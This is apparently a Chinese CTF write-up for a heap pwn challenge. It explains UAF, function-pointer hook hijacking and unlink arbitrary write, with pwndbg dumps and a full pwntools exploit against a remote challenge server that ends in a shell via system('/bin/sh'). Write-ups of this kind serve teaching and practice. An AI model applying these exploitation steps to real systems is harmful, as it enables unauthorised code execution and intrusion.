这道题主要考察三个知识点:UAF、free_hook 劫持、Unlink。
逆向:
1 2 3 4 5 6
| void __cdecl gift() { __printf_chk(1LL, "give me a hook\n"); if ( (int)__isoc99_scanf("%p", &hook) <= 0 ) _exit(1); }
|
gift函数的意思是可以读取一个地址,写入到hook中,追踪看一下hook会去到哪里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| void __fastcall free(void *mem) { malloc_chunk *v1; unsigned __int64 v2; malloc_chunk *v3; unsigned __int64 v4; __int64 v5; mchunkptr v6;
if ( hook ) { hook(mem); } ……
|
在执行free的时候,如果hook这个函数指针中有内容,那么就调用hook这个函数指针,我们只需要将其覆盖成system,然后参数mem改成’/bin/sh’就可以getshell了,程序开启了PIE,所以应该先泄露libc地址。
先创建两个chunk,再free掉,看看show能否出来和main_arena的关系
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| pwndbg> p notes $3 = {0x0, 0x0, 0x55555555e010 "\bxUUUU", 0x55555555e030 "", 0x0 <repeats 12 times>} pwndbg> p &main_arena $4 = (struct malloc_state *) 0x555555557810 <main_arena> pwndbg> x/20gx 0x555555557808 0x555555557808 <completed.0>: 0x0000000000000000 0x000055555555e000 0x555555557818 <main_arena+8>: 0x0000555555557808 0x0000555555557808 0x555555557828 <hook>: 0x0000000000000000 0x000055555555e000 0x555555557838: 0x0000000000000000 0x0000000000000000 0x555555557848 <note_size+8>: 0x0000000800000008 0x0000000000000000 0x555555557858 <note_size+24>: 0x0000000000000000 0x0000000000000000 0x555555557868 <note_size+40>: 0x0000000000000000 0x0000000000000000 0x555555557878 <note_size+56>: 0x0000000000000000 0x0000000000000000 0x555555557888 <notes+8>: 0x0000000000000000 0x000055555555e010 0x555555557898 <notes+24>: 0x000055555555e030 0x0000000000000000
|
1 2
| >>> hex(u64(b'\bxUUUU'.ljust(8, b'\x00'))) '0x555555557808'
|
也就是指向了main_arena - 8,这样子PIE的问题就解决了,只需要泄露libc,用unlink实现任意地址写:
unlink 宏的定义(简化):
1 2 3 4 5 6
| #define unlink(P, BK, FD) { \ FD = P->fd; \ BK = P->bk; \ FD->bk = BK; \ BK->fd = FD; \ }
|
P 是要被移除的空闲块指针。该宏将 P 的前后指针指向的块互相连接,从而把 P 从链表中摘除。
任意地址写(64位):
P->fd = target_addr - 0x18
P->bk = content
为了执行unlink,那创建两个chunk,然后free0,修改fd和bk,free1执行chunk0的unlink,将note[0]修改成puts@got,就可以泄露libc了。最终exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| from pwn import *
context.arch = "amd64" libc = ELF("./libc.so.6")
p = remote("forward.vidar.club",32663)
def add(index,size): p.sendline(b"1") p.sendlineafter("Index:",str(index)) p.sendlineafter("Size: ",str(size)) def dele(index): p.sendline(b"2") p.sendlineafter("Index:",str(index)) def edit(index,content): p.sendline(b"3") p.sendlineafter("Index:",str(index)) p.sendlineafter("Content: ",content) def show(index): p.sendline(b"4") p.sendlineafter("Index:",str(index)) add(2,8) add(3,8) dele(2) dele(3) show(2) leak = u64(p.recvline()[1:-1].ljust(8, b'\x00')) print(hex(leak)) main_arena = leak + 0x8 notes = main_arena - 0x3810 + 0x3880 puts_got = main_arena - 0x3810 + 0x3768 add(0, 16) add(1, 16) dele(0) edit(0, p64(notes-0x18) + p64(puts_got)) dele(1) show(0) puts = u64(p.recvline()[1:-1].ljust(8, b'\x00')) print(hex(puts)) offset = puts - libc.symbols['puts'] system_addr = offset + libc.symbols['system'] bin_sh = offset + next(libc.search(b'/bin/sh')) add(4, 7) edit(4, b'/bin/sh') p.sendline(b"6") p.sendlineafter(b"give me a hook\n",hex(system_addr)) dele(4) p.interactive()
|